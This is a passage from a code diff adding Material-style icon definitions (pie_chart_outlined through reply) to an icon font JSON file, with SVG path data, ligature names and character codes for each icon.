"pie_chart_outlined" + ], + "defaultCode": 59077, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "pie_chart_outlined", + "id": 585, + "order": 596, + "prevSize": 24, + "code": 59077, + "name": "pie_chart_outlined" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 585 + }, + { + "icon": { + "paths": [ + "M214 854h596v84h-596v-84zM426 342c0 46 40 84 86 84 48 0 86-38 86-84s-40-86-86-86-86 40-86 86zM768 342c0 192-256 468-256 468s-256-276-256-468c0-142 114-256 256-256s256 114 256 256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pin_drop" + ], + "defaultCode": 58718, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "pin_drop", + "id": 586, + "order": 597, + "prevSize": 24, + "code": 58718, + "name": "pin_drop" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 586 + }, + { + "icon": { + "paths": [ + "M342 214l468 298-468 298v-596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "play_arrow" + ], + "defaultCode": 57399, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "play_arrow", + "id": 587, + "order": 598, + "prevSize": 24, + "code": 57399, + "name": "play_arrow" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 587 + }, + { + "icon": { + "paths": [ + "M426 704l256-192-256-192v384zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "play_circle_filled" + ], + "defaultCode": 57400, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "play_circle_filled", + "id": 588, + "order": 599, + "prevSize": 24, + "code": 57400, + "name": "play_circle_filled" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 588 + }, + { + "icon": { + "paths": [ + "M512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426zM426 704v-384l256 192z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "play_circle_outline" + ], + "defaultCode": 57401, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "play_circle_outline", + "id": 589, + "order": 600, + "prevSize": 24, + "code": 57401, + "name": "play_circle_outline" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 589 + }, + { + "icon": { + "paths": [ + "M256 598h86c0 94 76 170 170 170s170-76 170-170h86c0 142-114 256-256 256s-256-114-256-256zM470 214h84v238h150l-192 192-192-192h150v-238z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "play_for_work" + ], + "defaultCode": 59654, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "play_for_work", + "id": 590, + "order": 601, + "prevSize": 24, + "code": 59654, + "name": "play_for_work" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 590 + }, + { + "icon": { + "paths": [ + "M86 682v-84h340v84h-340zM768 598h170v84h-170v172h-86v-172h-170v-84h170v-172h86v172zM598 256v86h-512v-86h512zM598 426v86h-512v-86h512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "playlist_add" + ], + "defaultCode": 57403, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "playlist_add", + "id": 591, + "order": 602, + "prevSize": 24, + "code": 57403, + "name": "playlist_add" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 591 + }, + { + "icon": { + "paths": [ + "M918 490l64 64-298 300-194-192 64-64 130 128zM86 682v-84h340v84h-340zM598 256v86h-512v-86h512zM598 426v86h-512v-86h512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "playlist_add_check" + ], + "defaultCode": 57445, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "playlist_add_check", + "id": 592, + "order": 603, + "prevSize": 24, + "code": 57445, + "name": "playlist_add_check" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 592 + }, + { + "icon": { + "paths": [ + "M726 554l212 128-212 128v-256zM86 640v-86h554v86h-554zM810 214v84h-724v-84h724zM810 384v86h-724v-86h724z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "playlist_play" + ], + "defaultCode": 57439, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "playlist_play", + "id": 593, + "order": 604, + "prevSize": 24, + "code": 57439, + "name": "playlist_play" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 593 + }, + { + "icon": { + "paths": [ + "M618 260l192-46v554h-84v-452l-108 22v-78zM426 342v170h172v86h-172v170h-84v-170h-172v-86h172v-170h84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "plus_one" + ], + "defaultCode": 59392, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "plus_one", + "id": 594, + "order": 605, + "prevSize": 24, + "code": 59392, + "name": "plus_one" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 594 + }, + { + "icon": { + "paths": [ + "M810 170l192 342-192 342h-170l192-342-112-198-336 540h-170l-192-342 192-342h170l-192 342 112 198 336-540h170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "polymer" + ], + "defaultCode": 59563, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "polymer", + "id": 595, + "order": 606, + "prevSize": 24, + "code": 59563, + "name": "polymer" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 595 + }, + { + "icon": { + "paths": [ + "M598 234c0-58 48-106 106-106s106 48 106 106-48 108-106 108-106-50-106-108zM370 512c-24 0-34-6-50-16-8-6-18-10-32-16l138-138-42-44c-48-48-92-64-170-64v-106c106 0 168 20 234 86l274 272c-6 4-12 8-18 10-16 10-26 16-50 16s-32-6-48-16c-20-12-46-26-94-26s-74 14-94 26c-16 10-24 16-48 16zM938 704c-48 0-72-16-92-28-16-10-26-14-50-14s-32 4-48 14c-20 12-46 28-94 28s-72-16-92-28c-16-10-26-14-50-14s-32 4-48 14c-20 12-46 28-94 28s-72-16-92-28c-16-10-26-14-50-14s-32 4-48 14c-20 12-46 28-94 28v-86c24 0 32-4 48-14 20-12 46-28 94-28s72 16 92 28c16 10 26 14 50 14s32-4 48-14c20-12 46-28 94-28s72 16 92 28c16 10 26 14 50 14s32-4 48-14c20-12 46-28 94-28s72 16 92 28c16 10 26 14 50 14v86zM938 896c-48 0-72-16-92-28-16-10-26-14-50-14s-32 4-48 14c-20 12-46 28-94 28s-72-16-92-28c-16-10-26-14-50-14s-32 4-48 14c-20 12-46 28-94 28s-74-16-94-28c-16-10-24-14-48-14s-34 4-50 14c-20 12-44 28-92 28v-86c24 0 32-4 48-14 20-12 46-28 94-28s72 16 92 28c16 10 26 14 50 14s32-4 48-14c20-12 46-28 94-28s74 16 94 28c16 10 24 14 48 14s34-4 50-14c20-12 44-28 92-28s74 16 94 28c16 10 24 14 48 14v86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pool" + ], + "defaultCode": 60232, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "pool", + "id": 596, + "order": 607, + "prevSize": 24, + "code": 60232, + "name": "pool" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 596 + }, + { + "icon": { + "paths": [ + "M140 106l42 44 714 714-54 54-320-322h-2l-8 2c-46 0-86-40-86-86l2-8-68-68c-12 24-18 48-18 76 0 64 34 118 84 148l-42 74c-76-44-128-128-128-222 0-52 14-98 40-138l-60-62c-40 56-66 124-66 200 0 126 68 236 170 296l-42 74c-128-74-212-212-212-370 0-98 32-190 88-262l-88-90zM512 170c-58 0-112 14-160 40l-62-62c64-40 140-62 222-62 236 0 426 190 426 426 0 82-22 158-62 222l-64-62c26-48 42-102 42-160 0-188-154-342-342-342zM750 608l-70-70c2-8 2-18 2-26 0-94-76-170-170-170-8 0-18 0-26 2l-70-70c30-12 62-18 96-18 142 0 256 114 256 256 0 34-6 66-18 96z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "portable_wifi_off" + ], + "defaultCode": 57550, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "portable_wifi_off", + "id": 597, + "order": 608, + "prevSize": 24, + "code": 57550, + "name": "portable_wifi_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 597 + }, + { + "icon": { + "paths": [ + "M810 810v-596h-596v596h596zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596zM704 694v32h-384v-32c0-64 128-96 192-96s192 32 192 96zM512 522c-52 0-96-44-96-96s44-96 96-96 96 44 96 96-44 96-96 96z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "portrait" + ], + "defaultCode": 58390, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "portrait", + "id": 598, + "order": 609, + "prevSize": 24, + "code": 58390, + "name": "portrait" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 598 + }, + { + "icon": { + "paths": [ + "M684 298c42 0 84 44 84 86v234l-150 150v128h-212v-128l-150-150v-234c0-42 42-86 84-86h2v-170h84v170h172v-170h84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "power" + ], + "defaultCode": 58940, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "power", + "id": 599, + "order": 610, + "prevSize": 24, + "code": 58940, + "name": "power" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 599 + }, + { + "icon": { + "paths": [ + "M682 640v-86h214v86h-214zM384 640v-86h214v86h-214zM86 640v-86h212v86h-212zM86 384h810v86h-810v-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "power_input" + ], + "defaultCode": 58166, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "power_input", + "id": 600, + "order": 611, + "prevSize": 24, + "code": 58166, + "name": "power_input" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 600 + }, + { + "icon": { + "paths": [ + "M760 220c82 70 136 176 136 292 0 212-172 384-384 384s-384-172-384-384c0-116 54-222 136-292l60 60c-66 54-110 138-110 232 0 166 132 298 298 298s298-132 298-298c0-94-42-176-110-230zM554 128v426h-84v-426h84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "power_settings_new" + ], + "defaultCode": 59564, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "power_settings_new", + "id": 601, + "order": 612, + "prevSize": 24, + "code": 59564, + "name": "power_settings_new" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 601 + }, + { + "icon": { + "paths": [ + "M682 554v172h-128v212h-128v-212h-84v-300c0-70 58-128 128-128s128 58 128 128c50 20 84 70 84 128zM384 170c0-48 38-84 86-84s84 36 84 84-36 86-84 86-86-38-86-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pregnant_woman" + ], + "defaultCode": 59678, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "pregnant_woman", + "id": 602, + "order": 613, + "prevSize": 24, + "code": 59678, + "name": "pregnant_woman" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 602 + }, + { + "icon": { + "paths": [ + "M426 512h-84l170-170 170 170h-84v170h-172v-170zM896 812v-600h-768v600h768zM896 128c48 0 86 38 86 86v596c0 48-38 86-86 86h-768c-48 0-86-38-86-86v-596c0-48 38-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "present_to_all" + ], + "defaultCode": 57567, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "present_to_all", + "id": 603, + "order": 614, + "prevSize": 24, + "code": 57567, + "name": "present_to_all" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 603 + }, + { + "icon": { + "paths": [ + "M426 128h172v512h-172v-512zM426 810c0-48 38-84 86-84s86 36 86 84-38 86-86 86-86-38-86-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "priority_high" + ], + "defaultCode": 58949, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "priority_high", + "id": 604, + "order": 615, + "prevSize": 24, + "code": 58949, + "name": "priority_high" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 604 + }, + { + "icon": { + "paths": [ + "M764 742c56-60 90-142 90-230 0-142-88-266-214-316v18c0 46-40 84-86 84h-84v86c0 24-20 42-44 42h-84v86h256c24 0 42 18 42 42v128h42c38 0 70 26 82 60zM470 850v-82c-46 0-86-40-86-86v-42l-204-204c-6 24-10 50-10 76 0 174 132 318 300 338zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "public" + ], + "defaultCode": 59403, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "public", + "id": 605, + "order": 616, + "prevSize": 24, + "code": 59403, + "name": "public" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 605 + }, + { + "icon": { + "paths": [ + "M214 598l298-300 298 300h-170v256h-256v-256h-170zM214 170h596v86h-596v-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "publish" + ], + "defaultCode": 57941, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "publish", + "id": 606, + "order": 617, + "prevSize": 24, + "code": 57941, + "name": "publish" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 606 + }, + { + "icon": { + "paths": [ + "M726 256h212v86h-128v384c0 70-58 128-128 128s-128-58-128-128 58-128 128-128c14 0 30 4 44 8v-350zM128 682v-84h342v84h-342zM640 426v86h-512v-86h512zM640 256v86h-512v-86h512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "queue_music" + ], + "defaultCode": 57405, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "queue_music", + "id": 607, + "order": 618, + "prevSize": 24, + "code": 57405, + "name": "queue_music" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 607 + }, + { + "icon": { + "paths": [ + "M1024 768l-192 192-64-64 128-128-128-128 64-64zM554 426h128v86h-128v128h-84v-128h-128v-86h128v-128h84v128zM896 128c46 0 86 38 86 86v340h-86v-340h-768v512h640v84h-86v86h-340v-86h-214c-48 0-86-38-86-84v-512c0-48 38-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "queue_play_next" + ], + "defaultCode": 57446, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "queue_play_next", + "id": 608, + "order": 619, + "prevSize": 24, + "code": 57446, + "name": "queue_play_next" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 608 + }, + { + "icon": { + "paths": [ + "M854 512v-170h-684v170h512v-86h86v86h86zM298 854c70 0 128-58 128-128s-58-128-128-128-128 58-128 128 58 128 128 128zM138 262l540-220 28 72-352 142h500c48 0 84 38 84 86v512c0 46-36 84-84 84h-684c-48 0-84-38-84-84v-512c0-36 20-68 52-80z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "radio" + ], + "defaultCode": 57406, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "radio", + "id": 609, + "order": 620, + "prevSize": 24, + "code": 57406, + "name": "radio" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 609 + }, + { + "icon": { + "paths": [ + "M512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426zM512 298c118 0 214 96 214 214s-96 214-214 214-214-96-214-214 96-214 214-214z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "radio_button_checked" + ], + "defaultCode": 59447, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "radio_button_checked", + "id": 610, + "order": 621, + "prevSize": 24, + "code": 59447, + "name": "radio_button_checked" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 610 + }, + { + "icon": { + "paths": [ + "M768 598v-86h-234l-86 86h320zM256 598h106l294-294c8-8 8-22 0-30l-76-76c-8-8-22-8-30 0l-294 294v106zM854 86c46 0 84 38 84 84v512c0 46-38 86-84 86h-598l-170 170v-768c0-46 38-84 84-84h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "rate_review" + ], + "defaultCode": 58720, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "rate_review", + "id": 611, + "order": 622, + "prevSize": 24, + "code": 58720, + "name": "rate_review" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 611 + }, + { + "icon": { + "paths": [ + "M128 938v-852l64 64 64-64 64 64 64-64 64 64 64-64 64 64 64-64 64 64 64-64 64 64 64-64v852l-64-64-64 64-64-64-64 64-64-64-64 64-64-64-64 64-64-64-64 64-64-64zM768 384v-86h-512v86h512zM768 554v-84h-512v84h512zM768 726v-86h-512v86h512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "receipt" + ], + "defaultCode": 59568, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "receipt", + "id": 612, + "order": 623, + "prevSize": 24, + "code": 59568, + "name": "receipt" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 612 + }, + { + "icon": { + "paths": [ + "M534 726v-32c0-64-128-96-192-96s-192 32-192 96v32h384zM342 330c-52 0-96 44-96 96s44 96 96 96 96-44 96-96-44-96-96-96zM598 214c24 0 42 18 42 42v512c0 24-18 42-42 42h-512c-24 0-44-18-44-42v-512c0-24 20-42 44-42h512zM726 810v-596h84v596h-84zM896 214h86v596h-86v-596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "recent_actors" + ], + "defaultCode": 57407, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "recent_actors", + "id": 613, + "order": 624, + "prevSize": 24, + "code": 57407, + "name": "recent_actors" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 613 + }, + { + "icon": { + "paths": [ + "M856 86c166 172 166 430 0 596l-70-68c118-136 118-332 0-460zM716 228c86 94 86 224 0 310l-72-72c36-50 36-116 0-166zM384 640c114 0 342 56 342 170v86h-684v-86c0-114 228-170 342-170zM214 384c0-94 76-170 170-170s170 76 170 170-76 170-170 170-170-76-170-170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "record_voice_over" + ], + "defaultCode": 59679, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "record_voice_over", + "id": 614, + "order": 625, + "prevSize": 24, + "code": 59679, + "name": "record_voice_over" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 614 + }, + { + "icon": { + "paths": [ + "M786 452l152-154v384h-384l156-154c-60-50-136-80-220-80-152 0-280 98-324 234l-100-32c58-178 226-308 424-308 114 0 218 42 296 110z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "redo" + ], + "defaultCode": 57690, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "redo", + "id": 615, + "order": 626, + "prevSize": 24, + "code": 57690, + "name": "redo" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 615 + }, + { + "icon": { + "paths": [ + "M754 270l100-100v300h-300l138-138c-46-46-110-76-180-76-142 0-256 114-256 256s114 256 256 256c112 0 208-70 242-170h88c-38 148-170 256-330 256-188 0-340-154-340-342s152-342 340-342c94 0 180 38 242 100z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "refresh" + ], + "defaultCode": 58837, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "refresh", + "id": 616, + "order": 627, + "prevSize": 24, + "code": 58837, + "name": "refresh2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 616 + }, + { + "icon": { + "paths": [ + "M810 554h-596v-84h596v84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "remove" + ], + "defaultCode": 57691, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "remove", + "id": 617, + "order": 628, + "prevSize": 24, + "code": 57691, + "name": "remove2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 617 + }, + { + "icon": { + "paths": [ + "M512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426zM298 470h428v84h-428v-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "remove_circle_outline" + ], + "defaultCode": 57693, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "remove_circle_outline", + "id": 618, + "order": 629, + "prevSize": 24, + "code": 57693, + "name": "remove_circle_outline" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 618 + }, + { + "icon": { + "paths": [ + "M682 426v86h-340v-86h340zM896 726v-512h-768v512h768zM896 128c46 0 86 38 86 86l-2 512c0 46-38 84-84 84h-214v86h-340v-86h-214c-48 0-86-38-86-84v-512c0-48 38-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "remove_from_queue" + ], + "defaultCode": 57447, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "remove_from_queue", + "id": 619, + "order": 630, + "prevSize": 24, + "code": 57447, + "name": "remove_from_queue" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 619 + }, + { + "icon": { + "paths": [ + "M512 384c70 0 128 58 128 128s-58 128-128 128-128-58-128-128 58-128 128-128zM512 726c118 0 214-96 214-214s-96-214-214-214-214 96-214 214 96 214 214 214zM512 192c214 0 396 132 470 320-74 188-256 320-470 320s-396-132-470-320c74-188 256-320 470-320z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "visibility" + ], + "defaultCode": 59636, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "remove_red_eye, visibility", + "id": 620, + "order": 631, + "prevSize": 24, + "code": 59636, + "name": "visibility" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 620 + }, + { + "icon": { + "paths": [ + "M298 768c46 0 86 40 86 86s-40 84-86 84-84-38-84-84 38-86 84-86zM664 554l-384-384h574c24 0 42 20 42 44 0 8-2 14-6 20l-152 276c-14 26-42 44-74 44zM316 640h216l-86-86h-100l-38 70-2 6c0 6 4 10 10 10zM970 970l-54 54-122-122c-16 22-40 36-68 36-46 0-86-38-86-84 0-28 14-54 36-70l-60-58h-318c-46 0-84-40-84-86 0-14 4-28 10-40l58-106-94-198-188-188 54-54z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "remove_shopping_cart" + ], + "defaultCode": 59688, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "remove_shopping_cart", + "id": 621, + "order": 632, + "prevSize": 24, + "code": 59688, + "name": "remove_shopping_cart" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 621 + }, + { + "icon": { + "paths": [ + "M128 214h768v84h-768v-84zM128 470v-86h768v86h-768zM128 810v-84h768v84h-768zM128 640v-86h768v86h-768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "reorder" + ], + "defaultCode": 59646, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "reorder", + "id": 622, + "order": 633, + "prevSize": 24, + "code": 59646, + "name": "reorder2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 622 + }, + { + "icon": { + "paths": [ + "M726 726v-172h84v256h-512v128l-170-170 170-170v128h428zM298 298v172h-84v-256h512v-128l170 170-170 170v-128h-428z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "repeat" + ], + "defaultCode": 57408, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "repeat", + "id": 623, + "order": 634, + "prevSize": 24, + "code": 57408, + "name": "repeat2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 623 + }, + { + "icon": { + "paths": [ + "M554 640h-64v-170h-64v-44l86-42h42v256zM726 726v-172h84v256h-512v128l-170-170 170-170v128h428zM298 298v172h-84v-256h512v-128l170 170-170 170v-128h-428z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "repeat_one" + ], + "defaultCode": 57409, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "repeat_one", + "id": 624, + "order": 635, + "prevSize": 24, + "code": 57409, + "name": "repeat_one" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 624 + }, + { + "icon": { + "paths": [ + "M512 214c188 0 342 152 342 340s-154 342-342 342-342-154-342-342h86c0 142 114 256 256 256s256-114 256-256-114-256-256-256v172l-214-214 214-214v172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "replay" + ], + "defaultCode": 57410, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "replay", + "id": 625, + "order": 636, + "prevSize": 24, + "code": 57410, + "name": "replay" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 625 + }, + { + "icon": { + "paths": [ + "M564 648c0 6.531 12.65 14 20 14 4 0 10 0 14-4l8-10s4-8 4-12v-86c0 0-4-8-4-12 0-5.505-16.424-14-22-14-4 0-8 2-12 6l-8 8s-6 8-6 12v86s6 8 6 12zM648 606c0 12 0 26-4 34l-12 26s-14 12-22 12-18 4-26 4-18 0-26-4-12-8-20-12c-13.488-6.744-18-39.492-18-60v-30c0-12 0-26 4-34l14-26s12-12 20-12 18-4 26-4 18 0 26 4 14 8 22 12 8 14 12 26 4 22 4 34v30zM466 682h-40v-140l-42 12v-30l76-24h6v182zM512 214c188 0 342 152 342 340s-154 342-342 342-342-154-342-342h86c0 140 116 256 256 256s256-116 256-256-116-256-256-256v172l-214-214 214-214v172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "replay_10" + ], + "defaultCode": 57433, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "replay_10", + "id": 626, + "order": 637, + "prevSize": 24, + "code": 57433, + "name": "replay_10" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 626 + }, + { + "icon": { + "paths": [ + "M572 648c0 7.531 13.843 14 22 14 4 0 8 0 12-4l8-10s4-8 4-12v-86c0-4-4-8-4-12 0-4.671-15.121-14-20-14-4 0-10 2-14 6l-8 8s-4 8-4 12v86s4 8 4 12zM652 606c0 12 0 26-4 34l-12 26s-14 12-22 12-18 4-26 4c-20.252 0-32.299-9.149-46-16-8-4-8-14-12-26s-6-22-6-34v-30c0-12 2-26 6-34l12-26s14-12 22-12 16-4 24-4 18 0 26 4 14 8 22 12 8 14 12 26 4 22 4 34v30zM426 576c16.239 0 30-9.918 30-26v-8s-4-4-4-8-4-4-8-4h-22s-4 4-8 4-4 4-4 8v8h-44c0-19.788 17.639-46 36-46 4 0 16-4 20-4 17.345 0 35.264 5.632 48 12 10.13 5.065 16 24.218 16 38v14s-4 8-4 12-4 8-8 8-10 6-14 10c8 4 18 8 22 16s8 18 8 26 0 18-4 22-8 12-12 16-14 8-22 8-18 4-26 4-16 0-20-4-14-4-22-8c-11.162-5.581-18-27.017-18-42h36v8s4 4 4 8 4 4 8 4h22s4-4 8-4 4-4 4-8v-22s-4-4-4-8-4-4-8-4h-26v-30h16zM512 214c188 0 342 152 342 340s-154 342-342 342-342-154-342-342h86c0 140 116 256 256 256s256-116 256-256-116-256-256-256v172l-214-214 214-214v172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "replay_30" + ], + "defaultCode": 57434, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "replay_30", + "id": 627, + "order": 638, + "prevSize": 24, + "code": 57434, + "name": "replay_30" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 627 + }, + { + "icon": { + "paths": [ + "M504 580c-3.584 1.434-14 4.805-14 8 0 4-4 6-4 6h-30l10-94h102v30h-74l-4 38s4 0 4-4 6-2 6-6 4 0 8 0h8c8 0 18 2 22 6s12 8 16 12c8.873 8.873 18 27.257 18 46 0 8 0 18-4 22s-6 14-14 22-12 8-16 12-18 4-26 4-18 0-22-4-12-4-20-8c-11.191-5.596-18-22.554-18-38h34c0 14.809 10.59 20 26 20 4 0 8 0 12-4l10-8s4-8 4-12v-26l-4-8-10-10s-8-4-12-4h-8zM512 214c188 0 342 152 342 340s-154 342-342 342-342-154-342-342h86c0 140 116 256 256 256s256-116 256-256-116-256-256-256v172l-214-214 214-214v172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "replay_5" + ], + "defaultCode": 57435, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "replay_5", + "id": 628, + "order": 639, + "prevSize": 24, + "code": 57435, + "name": "replay_5" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 628 + }, + { + "icon": { + "paths": [ + "M426 384c298 42 428 256 470 470-106-150-256-218-470-218v174l-298-298 298-298v170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "reply" + ], + "defaultCode": 57694, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "reply", + "id": 629, + "order": 640, + "prevSize": 24, + "code": 57694, + "name": "reply2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 629 